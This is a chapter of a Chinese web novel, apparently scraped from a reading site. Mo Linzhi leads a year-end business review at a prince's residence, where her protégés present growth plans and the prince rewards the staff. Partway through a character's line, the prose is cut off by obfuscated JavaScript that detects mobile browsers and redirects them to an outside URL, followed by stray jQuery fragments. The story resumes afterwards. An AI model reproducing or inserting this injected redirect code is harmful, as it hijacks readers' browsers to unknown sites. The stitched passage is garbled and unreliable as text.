内部的述职结束后又过了一天就是管理层的述职，昨天，北境各地的管事卡着时间都到了，大包小包的，来定安的第一件事就是登上王府，将随身携带的这一年的营收和账本给登记入库。


    转头第二天，就是述职大会。


    考虑到年底火锅店的营收不能耽搁，这一次的述职挪到了王府前院。参会人员不多，只有县级以上的管事才有资格列席，唯二的评判人是萧衍和萧瑾。


    人员到齐后，作为总舵手兼主持人的莫林知起身，环顾一圈，没有任何资料的她微微一笑，直接开口：


    “今年我手中新开拓了3个业务：火锅店、《见闻》、飞毛腿，总营收就不提了，自有王爷评判，我只说2个目标：第一，明年三个业务的总营收翻4倍；第二，搭建高效流转的人才培养和管理制度。”


    “看似2个目标其实只有1个，因为人才培养和管理制度的完善，最终目的也是为了提升总营收。都说打江山容易守江山难，今年新业务动作频频，确实成绩喜人。可若是团队跟不上，那明年想要继续增长就难了。废话我也不多说，接下来将舞台交给我看好的高管人才，由他们来具体给大家讲述今年的收获以及明年的策略。首先欢迎见闻的总管事齐铭。”


    莫林知说完后退一步坐下，在她下首第一位，齐铭起身，不疾不徐地将资料下发。


    他的资料有点厚，内容和之前一样，分为总结和规划两部分。


    总结，包含业务总结和个人总结，业务总结又从总部的成立到分部的建立进行了分别叙述。


    例如0-1和1-10这两个发展阶段的不同和经验总结，还有各城、县、镇不同地域的营收差距以及这些差距的原因，←从这一点，他还衍生出了一项规章制度：划定了各城、县、镇应达到的最低业务体量标准，如若后续在没有天灾人祸等不可抗力的情况下没达到这个标准，则需要履行相应的惩罚制度，轻则罚绩效，重则影响升职加薪。


    个人总结讲述得比较简略，用了雷达图来表现自己的五维能力和数据增长。例如刚入职，他最擅长的是商务谈判这一项，其他都比较弱，但是在后续的业务谈判以及沧澜一行中，他开始培养了自己对内容的敏感度，人群需求的敏感度，从而提升了其他维度的能力，实现了个人的进步。


    在规划上，他顺着莫林知画出的框架线条做了一些细化，根据目标的逐月增速，给《优选》和《生活》分别制定了相应的绩效目标。至于目标具体应该怎么达成，他将舞台交给了晚玉和何梅。


    晚玉和何梅的资料是顺着齐铭那一份来做的，打开就是一份具体的目标拆解。


    这份目标拆解细化到每个月，目标营收、目标增速、以及为了达成目标预估需要完成的项目数量和承接人手——所以在她们下半年，是有一个招聘纳新计划的。


    而数字拆解之后，就是具体的业务拆解。比如晚玉，从投入产出比的角度分析了各类目的盈利效率，从而得出明年要着重开拓的类目商家。


    中间她还从今年总结出的有效营销策略里发现了一个增长点——代言人签约计划。


    雏形就是和一些城内有一定声明的人达成合作契约，后期只要是《生活》的客户营销需求，这些人就必须帮着进行一定的宣传和推广。


    其实有点类似那些mcn机构了，只不过在晚玉的规划里，不存在前期的“培养”阶段，而是做了一个资源整合与中介的角色。


    刚开始拿到晚玉这份述职报告时，看到这一点，莫林知既惊讶又觉得理所当然。合作半年，她早就领会过这些人“举一反三”的能力了。只要给他们透露一个角，他们就能自己将整个饼做出来。


    不过mcn这块莫林知也只是合作过但没深入了解过运营模式，所以，她只能给晚玉提前打了一些预防针。例如和那些人签约，签独家还是非独家，年框还是次框，以及后续若《见闻》不是唯一的信息平台了，这些人会不会倒戈等等。


    当然，介于《见闻》目前的地位，有些问题都是后话，所以整个策略还是很可以试试的。做业务嘛，谁不是摸着石头过河呢~


    何梅这边也是，对于目前的版面，她做了免费内容和付费内容的区分。免费内容主要是各类排行榜为主，付费内容则包括[新品尝鲜]、[重磅推荐]等板块，收费高低不同，目前是根据版面的先后大小进行区分，后续等付费测试后，则会根据坑位的实际效果来做区分。


    不管是齐铭还是晚玉、何梅，三个人的规划都让在场所有人大开眼界。


    年中述职的时候，上台代表发言的是吴大和吴二掌柜，当时各地大大小小的管事就已经叹为观止，没想到年底再一看，发现这标准又上升了几个台阶。


    这已经不只是目标清晰这么简单了，这是增长点在哪，预估承担多少目标，以及落地执行节奏和周期都一清二楚，最后每个人还按月将重点工作和目标拎了一遍——基本上在座所有人看到这份规划都有了一种自己照着做也能试试的错觉。


    当然，做过事情的都知道，执行中那些细枝末节才是最考验人的，规划哪怕再落地，真正的考验也要做了才知道。可这三人仅凭一份报告，一通讲述，就让外行也听懂了这一行的运作模式，能力可见一斑。


    可以说，三个人的表现，不止给自己长了脸，也给莫林知开头所说的“人才培养”当了一回典范。就从这三个人的表现来看，谁都不会再质疑“人”的重要性。


    毕竟谁都听说过，这几个人是莫林知一手带出来的。


    底下，有和吴大吴二相熟的人忍不住低声玩笑道：“啧啧，我是对这位莫管事的能耐彻底叹服了，现实版的点石成金啊！不过这么一对比，你们这简直像抱养的，人家才是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689716|130909||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲生的。”


    吴大掌柜一眼瞪过去，半点不嫉妒，心态平和得紧：“那有什么的，我好歹受过点拨，够我吃用一辈子了，你啊，也就趁这种机会偷偷师了！”


    这话还真是血淋淋的现实，开玩笑那人顿时笑不出来了，头一缩，悻悻地退了回去继续听下面的汇报。


    只不过有珠玉在前，后面的怎么听都有点食之乏味。


    这上场的水平简直就像是倒三角，一层层递减，吴大吴二的比林显好一点，林显又比其他人的要好点，其他人中间，见闻体系的又格外出挑点······垫底就是那几个非莫林知业务体系下，受她影响最小的掌柜了。


    他们的模板还停留在年中述职吴大吴二的那个示例上，再加上对那些图表没有吃透，导致文件上大篇幅的文字描述，看得有点累人，逻辑和条理也不是很清楚。


    自知差距甚大的他们自己也一脸羞惭。


    人知耻而后勇，对此，萧衍没有再过多批评或者不满，只是对莫林知今年的表现大加赞赏，并公开表态支持她的一切决定，让她放手去干。


    除此之外，还对今天到场的所有人都发了一个红包，算是额外的奖励。莫林知好奇打开看了下，发现自己的是几个金子打造的包子，那褶子捏得，活灵活现的。


    莫林知：？？？？


    几个意思？说我吃货？


    她探头看了眼，发现别人的都是正常得金瓜子银瓜子，就她格外不同。这下确认了，萧衍就是故意的。


    大概是笑她有一阵子没忍住，天天早餐点名要吃大肉包吧。


    有够无聊的！


    转移阵地去吃饭时，莫林知趁人不注意给了萧衍一个大大的白眼！


    萧衍面色不变，眼中笑意涌现。


    下午，述职结束后，齐铭领着《见闻》旗下的管事去了总部，这些人明天就要返程了，在那之前，他们要抓紧时间将最近改版的相关事情沟通清楚。


    虽然莫林知跟他们定的是年后天气暖和了开始各地巡视，全面落实改版事宜，可也不能真等他们到了一个地方再开始落实吧？那效率就太低了！所以最好的是趁此次县级以上的管事都在，把事情交代清楚，让他们自己心里有个数，提前规划起来。这样，年后上工就能直接开始落实了~


    到时候他们三个只需要进行巡检，确认没有矫枉过正的或者落实不到位的就行。


    毕竟明年的事情也多，没可能都扑在这个上面。


    沟通时莫林知在现场略坐了坐，发现没什么问题就提前离席了——培养得力干将的好处在这一刻终于得到充分体现。看，这些人还有半个月才能放假，但是她已经基本没什么事儿啦~~


    所以她决定，提前开始享受假期——


    “所以，北境冬天有什么好玩的吗？”莫林知睁着大眼睛，一脸求知地看着晚香。